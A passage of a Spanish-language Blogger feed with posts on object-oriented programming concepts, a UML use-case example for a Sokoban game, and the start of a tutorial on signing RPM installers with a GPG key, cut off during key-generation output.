/&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;En programación orientada a objetos un programa es una comunidad de agentes (objetos) que interactuan entre ellos.&lt;/li&gt;&lt;li&gt;Cada objeto tiene un rol en la solución del problema&lt;/li&gt;&lt;li&gt;Cada objeto provee un conjunto de servicios (o métodos)&lt;/li&gt;&lt;li&gt;Los servicios de un objeto son usados por otros objetos.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;La forma en que los objetos se comunican entre ellos es a través de mensajes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Un mensaje encapsula la petición de un servicio&lt;/li&gt;&lt;li&gt;El receptor del mensaje presta el servicio y&lt;/li&gt;&lt;li&gt;Devuelve una respuesta al que solicitó el servicio&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFBD_7Fa4gI/AAAAAAAAAFg/EohDY6LPkMY/s1600-h/mensajesOO.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFBD_7Fa4gI/AAAAAAAAAFg/EohDY6LPkMY/s320/mensajesOO.png" alt="" id="BLOGGER_PHOTO_ID_5210739534338908674" border="0" /&gt;&lt;/a&gt;Donde: cambiarTamaño es un mensaje.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modelar&lt;/span&gt; consiste en identificar (abstraer) qué objetos hay en el mundo del problema, cómo son, cómo se comportan y cómo se relacionan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Objeto&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es una abstracción de un elemento del Contexto del Problema, tambien es una instancia de una clase.&lt;br /&gt;&lt;br /&gt;Ejemplos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;     Estudiante&lt;/li&gt;&lt;li&gt;     Fecha&lt;/li&gt;&lt;li&gt;     Automóvil&lt;/li&gt;&lt;li&gt;     Libro&lt;/li&gt;&lt;li&gt;     Vuelo&lt;/li&gt;&lt;/ul&gt;El comportamiento de los objetos puede ser descrito por una caracterización abstracta de su interfaz.&lt;br /&gt;&lt;br /&gt;Por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFBFG0Gmu-I/AAAAAAAAAFo/ySOFXdEK1SM/s1600-h/caractObjetos.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFBFG0Gmu-I/AAAAAAAAAFo/ySOFXdEK1SM/s320/caractObjetos.png" alt="" id="BLOGGER_PHOTO_ID_5210740752235543522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;La caracterización del comportamiento es suficiente para diseñar el sistema.&lt;/li&gt;&lt;li&gt;El comportamiento real del objeto puede ser implementado y refinado más tarde de acuerdo con las necesidades.&lt;/li&gt;&lt;li&gt;Un objeto empaqueta datos (una representación concreta) y procedimientos que operan sobre los datos.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBGiHdk-tI/AAAAAAAAAFw/8O2wB_-h1hQ/s1600-h/classconmethod.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 162px; height: 198px;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBGiHdk-tI/AAAAAAAAAFw/8O2wB_-h1hQ/s320/classconmethod.png" alt="" id="BLOGGER_PHOTO_ID_5210742320800266962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La imagen anterior representa una clase, en ella podemos identificar: nombre de la clase (Libro), Datos/Atributos/Campos, y Métodos/Servicios/Interfaz&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El envío de mensajes es la única forma para que un objeto realice una operación.&lt;/li&gt;&lt;li&gt;Las operaciones son la única forma para cambiar el estado de los datos.&lt;/li&gt;&lt;li&gt;Cuando esto se cumple, se dice que el estado interno del objeto (el valor de sus datos) está encapsulado; éste no puede ser manipulado directamente desde el exterior y su representación concreta es invisible.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Abstracción:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mecanismo de la mente humana fundamental para la comprensión de fenómenos o situaciones que involucren una gran cantidad de detalles.&lt;ul&gt;&lt;li&gt;  En biología los seres vivos se clasifican en especies, géneros, clases, etc...&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Abstracción y encapsulamiento:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La abstracción se centra en el comportamiento observable de un objeto, el encapsulamiento se centra en la implementación que da lugar a ese comportamiento.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clase&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Describe un conjunto de objetos del Contexto del problema, que tienen las mismas características y el mismo comportamiento&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBJ9glepSI/AAAAAAAAAF4/B2i9x_W-yjM/s1600-h/classConcept.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBJ9glepSI/AAAAAAAAAF4/B2i9x_W-yjM/s320/classConcept.png" alt="" id="BLOGGER_PHOTO_ID_5210746089935643938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La noción de Clase viene de clasificación: agrupar (en un conjunto) objetos (elementos) que se comportan de la misma manera (con respecto a la interfaz que describe el comportamiento).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBGiHdk-tI/AAAAAAAAAFw/8O2wB_-h1hQ/s1600-h/classconmethod.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 162px; height: 198px;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBGiHdk-tI/AAAAAAAAAFw/8O2wB_-h1hQ/s320/classconmethod.png" alt="" id="BLOGGER_PHOTO_ID_5210742320800266962" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Agregación/Composición&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Permite abstraer relaciones de tipo &lt;span style="font-weight: bold;"&gt;...tiene...&lt;/span&gt; y &lt;span style="font-weight: bold;"&gt;... está compuesto de...&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFEh28551zI/AAAAAAAAAGA/YIf9Ob2Ye6Q/s1600-h/composicionUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 258px; height: 236px;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFEh28551zI/AAAAAAAAAGA/YIf9Ob2Ye6Q/s320/composicionUML.png" alt="" id="BLOGGER_PHOTO_ID_5210983471790020402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Asociaciones&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Permite abstraer relaciones entre objetos diferentes a la composición&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFEieNXtEMI/AAAAAAAAAGI/uYaBsq6BYss/s1600-h/asociacionUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFEieNXtEMI/AAAAAAAAAGI/uYaBsq6BYss/s320/asociacionUML.png" alt="" id="BLOGGER_PHOTO_ID_5210984146224877762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herencia&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Los objetos se organizan en jerarquías&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFEjBJZ-YSI/AAAAAAAAAGQ/m6Nsu0_93vE/s1600-h/heranciaUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFEjBJZ-YSI/AAAAAAAAAGQ/m6Nsu0_93vE/s320/heranciaUML.png" alt="" id="BLOGGER_PHOTO_ID_5210984746456080674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La herencia permite modelar relaciones del tipo &lt;span style="font-weight: bold;"&gt;...es...&lt;/span&gt; y clasificaciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;     Un mamífero es un vertebrado&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFEjjXY90RI/AAAAAAAAAGY/IJ-N7ciI0B0/s1600-h/herenciaClasUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFEjjXY90RI/AAAAAAAAAGY/IJ-N7ciI0B0/s320/herenciaClasUML.png" alt="" id="BLOGGER_PHOTO_ID_5210985334325498130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Polimorfismo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es la posibilidad de definir de forma distinta un método,dependiendo del objeto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFEkFFFz3DI/AAAAAAAAAGg/FzSvRsjHJvM/s1600-h/polimorfismoUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFEkFFFz3DI/AAAAAAAAAGg/FzSvRsjHJvM/s320/polimorfismoUML.png" alt="" id="BLOGGER_PHOTO_ID_5210985913528867890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFEkaNKhT-I/AAAAAAAAAGo/VTpNwlxQHTk/s1600-h/polimorfismoUML1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFEkaNKhT-I/AAAAAAAAAGo/VTpNwlxQHTk/s320/polimorfismoUML1.png" alt="" id="BLOGGER_PHOTO_ID_5210986276473360354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El polimorfismo es posible gracias a la herencia:&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFEk3nReUfI/AAAAAAAAAGw/rFCJsSIq-FE/s1600-h/polimorfismoHerencia.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFEk3nReUfI/AAAAAAAAAGw/rFCJsSIq-FE/s320/polimorfismoHerencia.png" alt="" id="BLOGGER_PHOTO_ID_5210986781698052594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Resumen Principios&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Todo es un objeto&lt;/li&gt;&lt;li&gt;Los objetos realizan operaciones (computan) solicitando serviciosentre ellos a través del paso de mensajes&lt;/li&gt;&lt;li&gt;Todo objeto tiene su propia memoria, la cual consiste de otros objetos&lt;/li&gt;&lt;li&gt;Todo objeto es una instancia de una clase. Una clase agrupa objetos similares.&lt;/li&gt;&lt;li&gt;En la clase se describe el comportamiento de los objetos.&lt;/li&gt;&lt;li&gt;Las clases están organizadas en una jerarquía con una única raíz, llamada la jerarquía de herencia.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Bueno, hemos aprendido un poco más de los fundamentos de la orientación a objetos, agradecere comentarios constructivos.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3649493157984635147?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3649493157984635147/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3649493157984635147' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3649493157984635147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3649493157984635147'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/06/fundamentos-de-la-programacin-orientada.html' title='Fundamentos de la Programación Orientada a Objetos'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA_eTr2NxI/AAAAAAAAAFI/4MqHa2hyedI/s72-c/evolucion_lengOO.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5135794285184246487</id><published>2008-06-11T16:29:00.011-04:00</published><updated>2008-06-12T09:35:10.568-04:00</updated><title type='text'>Ejemplo de Modelado con UML</title><content type='html'>Hola, veremos a continuación un sencillo ejemplo para implementar el modelado de requerimientos con UML, para esto tenemos los siguientes pasos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;• Descripción del problema&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;• Identificación de requisitos.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;• Casos de uso.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;• Conclusiones.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comencemos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                     &lt;span style="font-weight: bold;"&gt;Descripción del problema&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sokoban es un juego de varios niveles.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Cada nivel está compuesto por un jugador, cajas, repisas y muros.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;El objetivo del jugador es empujar todas las cajas sobre las repisas.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Cuando esto sucede el jugador pasa al siguiente nivel.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Para mover una caja, el jugador debe colocarse al lado y empujarla. Si la casilla hacia la que está empujando la caja está libre la caja se moverá.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Si el jugador se queda bloqueado, es decir, no puede terminar el nivel, puede reiniciar el nivel perdiendo una vida.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Cuando el jugador pierde todas sus vidas la partida termina.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;                 &lt;span style="font-weight: bold;"&gt; Identificación de requisitos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;     &lt;span style="font-weight: bold;"&gt;Una mini entrevista&lt;/span&gt;&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ¿Qué debe hacer el sistema (o tiene que tener) para &lt;/span&gt; &lt;span style="font-weight: bold;"&gt;                           implementar la descripción?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requisitos&lt;/span&gt;:&lt;br /&gt;• El sistema debe permitir comenzar una nueva partida y terminarla.&lt;br /&gt;• El sistema debe permitir mover al jugador, a las cajas y reiniciar el nivel cuando&lt;br /&gt;el usuario lo solicite.&lt;br /&gt;• El sistema deberá almacenar varios niveles y cambiar de nivel cuando el usuario&lt;br /&gt;complete el nivel actual.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="font-weight: bold;"&gt;Casos de uso&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los casos de uso son una respuesta,&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo puede un usuario jugar una partida de sokoban?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La primera pregunta que vamos a resolver:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿cuántos actores tiene el sistema?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Un único actor:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA3tegyAVI/AAAAAAAAAEY/a2IJIpp1Ptg/s1600-h/actorCasodeUso.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA3tegyAVI/AAAAAAAAAEY/a2IJIpp1Ptg/s320/actorCasodeUso.png" alt="" id="BLOGGER_PHOTO_ID_5210726023291863378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;­ Persona humana que controla al jugador&lt;/li&gt;&lt;li&gt;­ Su meta es jugar una partida de Sokoban&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;La segunda pregunta que vamos a resolver:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿qué casos de uso necesitamos?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4AplD2gI/AAAAAAAAAEg/ODZPwbi6TCU/s1600-h/casodeUso.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4AplD2gI/AAAAAAAAAEg/ODZPwbi6TCU/s320/casodeUso.png" alt="" id="BLOGGER_PHOTO_ID_5210726352680114690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A continuación debemos completar la documentación de estos Casos de Uso, para esto existen las fichas de Casos de Uso, las que cumplen con el estandar de documentación de Casos de Uso:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFA4hk8wVAI/AAAAAAAAAEo/EEDszlzIqMU/s1600-h/fichacasodeuso1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFA4hk8wVAI/AAAAAAAAAEo/EEDszlzIqMU/s320/fichacasodeuso1.png" alt="" id="BLOGGER_PHOTO_ID_5210726918373004290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4qh6j9aI/AAAAAAAAAEw/que9GptJcXY/s1600-h/fichacasodeuso2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4qh6j9aI/AAAAAAAAAEw/que9GptJcXY/s320/fichacasodeuso2.png" alt="" id="BLOGGER_PHOTO_ID_5210727072177321378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4y-dKoUI/AAAAAAAAAE4/3E-g84jop3w/s1600-h/fichacasodeuso3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SFA4y-dKoUI/AAAAAAAAAE4/3E-g84jop3w/s320/fichacasodeuso3.png" alt="" id="BLOGGER_PHOTO_ID_5210727217277608258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cambiar de nivel es un caso de uso?&lt;/span&gt;&lt;br /&gt;• No, porque sólo participa el sistema, no participa ningún actor externo.&lt;br /&gt;• La única manera que un actor externo tiene de cambiar de nivel es mediante los movimientos (caso de uso 2)&lt;br /&gt;            &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cargar un nivel es un caso de uso?&lt;/span&gt;&lt;br /&gt;• No, porque sólo interviene el sistema.&lt;br /&gt;• Además, cuando detallamos como cargar un nivel estamos detallando el sistema (queda fuera de la fase de requisitos).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Terminar la partida es un caso de uso?&lt;/span&gt;&lt;br /&gt;• Como está redactado en el enunciado la respuesta es no.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Faltan casos de uso o están incompletos?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. &lt;/span&gt;El sistema debe permitir comenzar una nueva partida y terminarla.&lt;br /&gt;       &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; El sistema debe permitir mover al jugador y a las cajas y reiniciar el nivel cuando el usuario lo solicite.&lt;br /&gt;     &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.&lt;/span&gt; El sistema deberá almacenar varios niveles y cambiar de nivel cuando el usuario complete el nivel actual&lt;br /&gt;&lt;br /&gt;Los tres requisitos anteriores son los que definimos al principio, en la siguiente ficha vemos que los casos de uso cumplen con lo requerido.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA54cnqfhI/AAAAAAAAAFA/vUdHDBFc3Ak/s1600-h/casodeusoficha.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA54cnqfhI/AAAAAAAAAFA/vUdHDBFc3Ak/s320/casodeusoficha.png" alt="" id="BLOGGER_PHOTO_ID_5210728410785676818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Esta es una forma de comprobar que con los casos de uso definidos tenemos satisfechos los requerimientos.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5135794285184246487?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5135794285184246487/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5135794285184246487' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5135794285184246487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5135794285184246487'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/06/modelado-con-uml.html' title='Ejemplo de Modelado con UML'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA3tegyAVI/AAAAAAAAAEY/a2IJIpp1Ptg/s72-c/actorCasodeUso.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-1699588810608814065</id><published>2008-05-16T16:24:00.004-04:00</published><updated>2008-05-16T16:31:51.288-04:00</updated><title type='text'>Instalador RPM firmado con clave GPG</title><content type='html'>Hola, este articulo nos servira para proteger con claves y firmas digitales nuestros softwares instalables, ya sean rpm, deb, etc.&lt;br /&gt;Explico aqui de forma practica su uso.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.- Objetivo: &lt;/span&gt;Generar un instalador que permita incluir una clave de tipo key con firma digital la cual contenga el periodo de tiempo que estará habilitado el software.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.- Instalación de los paquetes necesarios&lt;/span&gt;&lt;br /&gt;Para Linux Red-Hat o distribuciones que manejen gestor de paquetes RPM debe tener actualizados los siguientes paquetes:&lt;br /&gt;&lt;br /&gt;Repositorios main, contrib, main-updates&lt;br /&gt;&lt;br /&gt;# urpmi rpm rpm-build spec-helper libtool rpmlint&lt;br /&gt;Para satisfacer las dependencias, se instalarán los paquetes siguientes:&lt;br /&gt;..........&lt;br /&gt;¿Efectuar la instalación de los 16 paquetes? (82 MB) (S/n) s&lt;br /&gt;..........&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.- Generación del RPM con clave GPG, firmas y exportación&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;gpg --gen-key&lt;/span&gt;&lt;br /&gt;gpg (GnuPG) 1.4.6; Copyright (C) 2006 Free Software Foundation, Inc.&lt;br /&gt;This program comes with ABSOLUTELY NO WARRANTY.&lt;br /&gt;This is free software, and you are welcome to redistribute it&lt;br /&gt;under certain conditions. See the file COPYING for details.&lt;br /&gt;&lt;br /&gt;Please select what kind of key you want:&lt;br /&gt;  (1) DSA and Elgamal (default)&lt;br /&gt;  (2) DSA (sign only)&lt;br /&gt;  (5) RSA (sign only)&lt;br /&gt;Your selection? &lt;span style="font-weight: bold;"&gt;1&lt;/span&gt;&lt;br /&gt;DSA keypair will have 1024 bits.&lt;br /&gt;ELG-E keys may be between 1024 and 4096 bits long.&lt;br /&gt;What keysize do you want? (2048) [enter]&lt;br /&gt;Requested keysize is 2048 bits&lt;br /&gt;Please specify how long the key should be valid.&lt;br /&gt;        0 = key does not expire&lt;br /&gt;     &lt;n&gt;  = key expires in n days&lt;br /&gt;     &lt;n&gt;w = key expires in n weeks&lt;br /&gt;     &lt;n&gt;m = key expires in n months&lt;br /&gt;     &lt;n&gt;y = key expires in n years&lt;br /&gt;Key is valid for? (0) &lt;span style="font-weight: bold;"&gt;2&lt;/span&gt;&lt;br /&gt;Key expires at dom 18 may 2008 12:26:28 CLT&lt;br /&gt;Is this correct? (y/N) &lt;span style="font-weight: bold;"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You need a user ID to identify your key; the software constructs the user ID&lt;br /&gt;from the Real Name, Comment and Email Address in this form:&lt;br /&gt;   "Heinrich Heine (Der Dichter) &lt;heinrichh@duesseldorf.de&gt;"&lt;br /&gt;&lt;br /&gt;Real name: jorge_salomon&lt;br /&gt;Email address: linSlackware@gmail.com&lt;br /&gt;Comment: ejemplo de clave con expiracion para instalador RPM&lt;br /&gt;You selected this USER-ID:&lt;br /&gt;   "jorge_salomon (ejemplo de clave con expiracion para instalador RPM) &lt;linslackware@gmail.com&gt;"&lt;br /&gt;&lt;br /&gt;Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O&lt;br /&gt;You need a Passphrase to protect your secret key.&lt;br /&gt;&lt;br /&gt;We need to generate a lot of random bytes. It is a good idea to perform&lt;br /&gt;some other action (type on the keyboard, move the mouse, utilize the&lt;br /&gt;disks) during the prime generation; this gives the random number&lt;br /&gt;generator a better chance to gain enough entropy.&lt;br /&gt;++++++++++.++++++++++++++++++++.+++++.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..+++++++++++++++++++++++++.++++++++++&gt;.+++++.+++++....+++++&lt;br 